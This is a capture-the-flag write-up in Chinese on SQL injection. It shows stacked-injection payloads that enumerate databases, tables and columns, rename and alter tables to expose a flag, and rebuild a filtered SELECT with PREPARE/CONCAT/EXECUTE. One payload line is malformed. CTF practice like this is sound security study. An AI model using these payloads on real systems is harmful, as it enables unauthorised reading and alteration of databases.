1.简单输入1,2,3,1’进行观察,判断存在SQL注入
2.利用ordre by语句判断字段数
输入:1' order by 1#
然后继续修改数字1变为2、3等等
出现回显
输入:1' order by 3# 时提示错误,说明只有2个字段
3.注入点判断
输入:1' union select 1,2# 判断回显的位置,出现提示过滤了关键字,说明union注入不可用。当它用不了时优先考虑堆叠注入
4.堆叠注入
爆表
输入:1';show databases;#
爆表
输入:1';show tables;#
爆字段(从1919810931114514表开始)
输入:1';show columns from `1919810931114514`;#
查询表words
常规注入的回显问题
在正常的SQL注入攻击中,如果存在回显,那么可以直接通过构造SQL语句,将查询结果显示在页面上。但在只有回显的盲注情况下,没有直接的回显,无法直接查看查询结果。
通过将目标表改名为其他名称,可以利用数据库的特性,在后续的操作中对改名后的表进行各种查询和操作。比如可以将目标表名改为一个已知存在且有数据回显的表名,然后利用原有的查询语句和逻辑,在不改变整体功能的情况下,使得原本不回显的目标表数据通过回显的表进行间接输出。这样就能够逐位获取不回显的表中的内容。
因此我们可以将表进行重命名
用rename把words表改名为其他的表名,把 1919810931114514表的名字改为words,给words表添加新的列名id,将flag改名为data
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);
通过改名后就可以直接输出flag的内容了,直接查询1即可
第二种思路是:我们查到数字表中有flag提示信息,但是我们又不能用select语句
1';select* from `1919810931114514` ');EXECUTE hacker;#
由于关键字的过滤select,我们可以通过select的分开然后再拼接查找表中的所有内容
1';PREPARE hacker from concat('s','elect', ' * from `1919810931114514` ');EXECUTE hacker;#
PREPARE hacker from concat('s','elect', ' * from
1919810931114514');
:这是准备阶段。PREPARE
语句用于准备一条SQL语句以便后续执行。这里使用concat
函数将字符串拼接成一条完整的SQL查询语句select * from 1919810931114514
,并将这条语句赋值给名为hacker
的预处理语句对象。之所以要分段拼接,可能是为了绕过一些简单的SQL注入检测,因为直接写select
等关键字可能会被检测到。
EXECUTE hacker;
:这是执行阶段。执行之前准备好的名为hacker
的预处理语句,也就是执行那条查询1919810931114514
表中所有数据的SQL语句。
#
:这是SQL注释符号,后面的内容会被数据库忽略。在这里可能用于进一步干扰原有SQL语句或隐藏攻击意图。